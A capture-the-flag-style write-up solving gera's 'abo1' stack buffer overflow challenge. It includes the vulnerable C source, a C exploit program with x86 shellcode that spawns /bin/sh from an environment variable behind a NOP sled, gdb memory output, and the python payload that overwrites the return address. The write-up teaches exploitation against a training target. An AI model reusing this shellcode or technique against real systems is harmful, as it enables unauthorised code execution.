Advanced Buffer Overflows, Take
Welcome back. Today we will make another step ahead in the path
gera
set up some time ago. Today's topic will be the first challenge of the
ADVANCED
BUFFER
OVERFLOWS
section, but don't let the name scare you away; this is a simple one once the general theory is in place. I'm not going to go trought all the architectural knowledge you need to know in order to understand the situation, I'll assume you got that somewhere else. Without further delay, let's begin.
This how the C source looks like:
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}The function takes an argument from the command line and copies it to a buffer in the stack without any kind of sanitization checks. Hence, the programming error is clear: We can write data in the stack past the buffer boundaries as with any conventional buffer overflow.
Now, we can take too diferents approaches while exploiting this error after overwriting the
ret
value from the stack. The first approach would be to place the shellcode in the buffer itself, sensible solution since the stack is pretty large to fit a linux shellcode (256 bytes). However a issue rises up if we follow this path; We can't hardcode our bogus return address because we don't know the address of the buffer till runtime. This would force us to make Position Independent Code (PIC) as explained in the famous article by aleph1 "Smashing the Stack for Fun and Profit".
Therefore, in this article we'll follow the alternative path pioneered by Murat in his "Buffer Overflows Demystified". We will place the shellcode in a environment variable and then point the
ret
value there. The ease in this approach comes from the fact that every time a linux executable goes live, the memory layout has certain constant addresses (unless we use any kind of randomization patch) that will help us. In our particular case, the environment variables begin in the highest memory addresses right after
0xbffffffa.
Once having understood the breafing, let's move into more practical ground. In my case I'll use the
COLORTERM
variable which by default has no value in my SuSE 9.3 VM. First of all, I'll use a little C program (abo1exp.c) to build our "evil-buffer" and export it to the aforementioned environment var (the template is taken from Shellcoder's Handbook code):
#include
#define BUFFSIZE 272
#define NOP 0x90
char sc[] =
"\xeb\x0eNNNNOOOO\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc, char *argv[]){
char *buff, *ptr;
int bsize=BUFFSIZE,i;
if(!(buff = malloc(bsize))){
printf("Can't allocate memory.\n");
exit(0);
}
ptr = buff;
for(i=0;i < bsize/2;i++)
buff[i]=NOP;
ptr = buff + ((bsize/2) - (strlen(sc)/2));
for(i=0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"COLORTERM=",10);
putenv(buff);
system("/bin/bash");
}
Now all we have left to know is which address our environment variable holds so we can inject it from the command line causing a overflow. For this purpose, I first ran the program inside gdb and took a look at the memory space surrounding
0xbffffffa
:
(gdb) x/20x 0xbfffff40
0xbfffff40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff80: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
Since we're using a NOP pad to increase our chances of success, we don't need to know the exact address but just a close one. In my case
0xbfffff40
turned out to be a successfull choice. So, a this point all that's left is to call abo1 after building the environment var using our friend
python
to cause the overflow. I should note that I used 268 as junk size because after several brute-force tests we managed to overwrite the
ret
value when we used 272 characters, therefore 272 - 4(size of word) = 268:
infi@labo:~/InsecureProgramming$ ./abo1exp
infi@labo:~/InsecureProgramming$ ./abo1 `python -c 'print "A"*268+"\x40\xff\xff\xbf"'`
sh-3.00$So this was it. I tried to make the exploit work in some automated way instead of having to make a customized call everytime with python, but after the fifth failure I just gave up :). For the upcoming articles I'll try to keep bringing more solutions for these challenges because they seem to cover almost every kind of exploitation technique used nowadays. In the meantime...keep adding NOPs!